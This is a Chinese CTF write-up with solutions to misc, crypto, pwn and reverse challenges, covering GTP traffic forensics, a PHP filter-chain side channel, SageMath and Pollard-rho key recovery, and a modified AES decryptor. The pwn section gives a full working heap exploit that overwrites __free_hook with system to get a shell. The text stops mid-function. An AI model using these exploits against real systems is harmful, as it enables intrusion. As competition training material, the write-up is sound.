Misc
misc01
首先提取流量中所有的TEID
tshark -r UPF.cap -e "gtp.teid" -T fields | sed '/^s*$/d' > upf.txt
然后对出现的TEID进行统计排序，发现两处发现异常报文的TEID
接着找到对应TEID的GTP流
将两处拼接得到flag
wdflag{18xxx23xxx}
misc02
观察GTP协议流量，推测TEID之后的数据即为加密流量，并且是使用所给的encrypted.py文件进行加密，即AES-ECB，后续经过尝试，将TEID作为key，可解出流量加密数据，写脚本一键提取请求包和响应包流量并进行解密，得到flag
misc03
侧信道攻击，参考这篇文章https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/#DownUnderCTF2022-minimal-php
接着用tshark工具将流量包中的value和对应状态码提取，在python中转成字典格式，替换原脚本的网页请求
并修改原脚本两处地方
blow_up_enc = join(*['convert.quoted-printable-encode'] * 3000)
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}'),
可以直接跑出flag
misc04
首先合并三个文件
cat 1 2 3 > 1.zip
合并之后用binwalk可以看到有两个压缩包文件，其中2.png为伪加密，解压之后镜像可得到后一半flag
另一个压缩包根据提示!@#QQQ0010flag****进行掩码爆破爆破出后四位数字之后得到一张jpg，将jpg中的png分离，并爆破宽高可得到前一半flag
Crypto
CRYPTO01
解题思路
两个函数，P(x) = P * x,S(x) = A*x +b,
令 ,T = P^{-1}AP, U = P^{-1}b
则r = T^{14}x+(T^{13}+T^{12}+…+I)U+(T^{13}+T^{12}+…+I) P^{-1}k
因为flag头“wdflag{”7个字符，所以再爆破1个解上述方程，可得到列表keys，遍历keys后得到flag。
from Crypto.Util.number import *
cipher_text = []
perm_indices = []
BLOCK_SIZE = 64
ROUNDS = 14
# Inverse permutation list
inverse_permutation = [perm_indices.index(i) for i in range(BLOCK_SIZE)]
# Constants for the mask and IV
MASK = 0b1110001001111001000110010000100010101111101100101110100001001001
IV = 7
# Helper functions
binary_to_integer = lambda bits: Integer(sum([bits[i] * 2**i for i in range(len(bits))]))
# Create the permutation matrix
P_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i, perm_index in enumerate(perm_indices):
P_matrix[i, perm_index] = 1
# Permutation function
def permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())
# Inverse permutation function
def inverse_permute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = P_matrix.inverse() * vector(GF(2), bit_x)
return binary_to_integer(vector(ZZ, bit_x).list())
# Define matrix A and vector b based on IV and MASK
A_matrix = matrix(GF(2), BLOCK_SIZE, BLOCK_SIZE)
for i in range(BLOCK_SIZE):
A_matrix[i, i] = 1
for i in range(BLOCK_SIZE):
j = i - IV
if j >= 0:
A_matrix[i, j] = 1
b_vector = vector(GF(2), BLOCK_SIZE)
for i in range(BLOCK_SIZE):
if (MASK >> i) & 1:
b_vector[i] = 1
# Substitution function
def substitute(x):
bit_x = x.bits()
if len(bit_x) < BLOCK_SIZE:
bit_x.extend([0] * (BLOCK_SIZE - len(bit_x)))
bit_x = vector(GF(2), bit_x)
result = A_matrix * bit_x + b_vector
return binary_to_integer(vector(ZZ, result))
# Define matrix transformations for decryption
T_matrix = P_matrix.inverse() * A_matrix * P_matrix
U_vector = P_matrix.inverse() * b_vector
sum_T_matrix = sum(T_matrix**i for i in range(ROUNDS))
# Key recovery
recovered_keys = []
for i in range(1, 32):
cipher_bits = cipher_text[-1].bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
message_bytes = bytes([i]) * 8
message_bits = Integer(bytes_to_long(message_bytes)).bits()
while len(message_bits) != BLOCK_SIZE:
message_bits += [0]
message_bits = vector(GF(2), message_bits)
cipher_bits -= T_matrix**ROUNDS * message_bits
cipher_bits -= sum_T_matrix * U_vector
try:
P_inverse_key = sum_T_matrix.solve_right(cipher_bits)
key = P_matrix * P_inverse_key
recovered_key = sum([int(key[j]) * 2**j for j in range(len(key))])
recovered_keys.append(recovered_key)
except:
pass
# Decryption function
def decrypt_block(cipher_block, key):
cipher_bits = cipher_block.bits()
key_bits = key.bits()
while len(cipher_bits) != BLOCK_SIZE:
cipher_bits += [0]
while len(key_bits) != BLOCK_SIZE:
key_bits += [0]
cipher_bits = vector(GF(2), cipher_bits)
key_bits = vector(GF(2), key_bits)
cipher_bits -= sum_T_matrix * P_matrix.inverse() * key_bits
cipher_bits -= sum_T_matrix * U_vector
decrypted_bits = (T_matrix**ROUNDS).inverse() * cipher_bits
message_bytes = long_to_bytes(binary_to_integer(vector(ZZ, decrypted_bits)))
return message_bytes
# Attempt decryption with each recovered key
for key in recovered_keys:
decrypted_message = [decrypt_block(c, key) for c in cipher_text]
flag = b"".join(decrypted_message)
print(flag)
CRYPTO02
https://jayxv.github.io/2019/11/11/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8B%E6%B5%85%E6%9E%90Pollard's%20rho%20algorithm%E5%8F%8A%E5%85%B6%E5%BA%94%E7%94%A8/
根据文章套板子直接打
Exp:
import libnum
from Crypto.Util.number import *
e = 65537
n = 49025724928152491719950645039355675823887062840095001672970308684156817293484070166684235178364916522473822184239221170514602692903302575847326054102901449806271709230774063675539139201327878971370342483682454617270705142999317092151456200639975738970405158598235961567646064089356496022247689989925574384915789399433283855087561428970245448888799812611301566886173165074558800757040196846800189738355799057422298556992606146766063202605288257843684190291545600282197788724944382475099313284546776350595539129553760118549158103804149179701853798084612143809757187033897573787135477889183344944579834942896249251191453
with open("cipher.txt", "rb") as f:
c = f.read()
c = libnum.s2n(c)
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
def pollard_rho (x1,x2):
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p == n):
print("fail")
return
elif (p != 1):
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
break
pollard_rho(1, 1)
Pwn
pwn01
Edit存在任意地址写x00，可以利用堆块错位申请打free_hook为system，free进tcachebin中的堆块会残留出libc_base和堆地址。之后修改fd最后一个字节为x00触发漏洞，攻击free_hook获取shell
Add show, free,edit三个功能函数，实际上edit只能用一次任意地址写
利用指针残留获得heap_base,libc_base
Edit攻击目标地址-3，完成x00修改fd位
之后触发tcachebin的整理机制完成tcachebin attack的操作
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr():
return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))
def get_addr32():
return u32(p.recvuntil("xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def add(size,content):
rl("Input your choice")
sl(str(1))
rl("Size :")
sl(str(size))
rl("Content :")
s(content)
def free(i):
rl("Input your choice")
sl(str(2))
rl("Index :")
sl(str(i))
def show(i):
rl("Input your choice")
sl(str(4))
rl("Index :")
sl(str(i))
def edit(content):
rl("Input your choice")
sl(str(3))
rl("content :")
s(content)
add(0x98,b'a')
add(0x98,b'a')
add(0x98,b'a') #2
add(0x410,b'a')
add(0x98,b'a') #4
free(3)
add(0x410,b'a'*8) #5
show(5)
libc_base=get_addr()-2018272
li(hex(libc_base))
free_hook=libc_base+0x1eee48
system=libc_base+0x52290
free(5)
add(0x600,b'a') #6
add(0x410,b'a'*0x10) #7
show(7)
rl("a"*0x10)
heap_base=u64(p.recv(6).ljust(8,b'x00'))-0x470
li(hex(heap_base))
add(0x140,b'/bin/shx00') #8
add(0x98,b'a') #9
add(0xa8,b'a') #10
add(0x98,b'a') #11
add(0xa8,b'a') #12
free(11)
free(0)
free(12)
free(10)
edit(p64(heap_base+0x290+8+5))
add(0x98,b'a')
add(0x98,b'a'*0x38+p64(0xb1)+p64(free_hook))
add(0xa8,b'a')
add(0xa8,p64(system))
free(8)
p.sendline(b"cat flag")
#print(p.recvline())
inter()
Reverse
re01
打开so文件，发现JNI_Onload 无法正确F5
在0x00000000001B4E0附近发现了间接跳转， 实际BR X8是跳转到下一条指令，所以这是花指令，直接NOP掉即可。
除开这种指令以外，还发现了这种间接跳转，这也是花指令，需要NOP掉
将上述字节全部替换完后，逆向发现
在init_array中hook了JNI_OnLoad，以及Hook了RegisterNative方法，使真正的native函数为sub_1A9A8
这个函数进行了魔改的AES操作，修改了Sbox。
然后将MixColumn和ShiftRows 交换了顺序
# print(key)
sbox = [0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5]
rsbox = [0] * 256
for i in range(256):
rsbox[sbox[i]] = i
print(rsbox)
C代码如下：
main.cpp
#include <stdio.h>
#include "aes.hpp"
uint8_t Buf[48] = { };//密文
int main()
{
uint8_t key[16] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,
0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 };
AES_ctx aes_ctx;
// AES_init_ctx_iv(&aes_ctx, key, key);
// AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48);
AES_init_ctx_iv(&aes_ctx, key, key);
AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48);
printf("%sn", Buf);
}
AES.cpp
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED
ECB-AES128
----------
plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710
key:
2b7e151628aed2a6abf7158809cf4f3c
resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "aes.h"
#include <stdio.h>
/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4
#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif
// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif
/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 };
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 };
#endif
// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };
/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/
/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations
// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}
// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];
}
if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}
// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif
// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}
// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;
// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}
static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}
// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}
// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y)
( ((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])
// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}
static void InvShiftRows(state_t* state)
{
uint8_t temp;
// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; round < 10 ; ++round)
{
SubBytes(state);
MixColumns(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
SubBytes(state);
ShiftRows(state);
AddRoundKey(Nr, state, RoundKey);
}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;
// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
InvShiftRows(state);
InvSubBytes(state);
for (round = (Nr - 1);round > 0; --round)
{
printf("%dn", round);
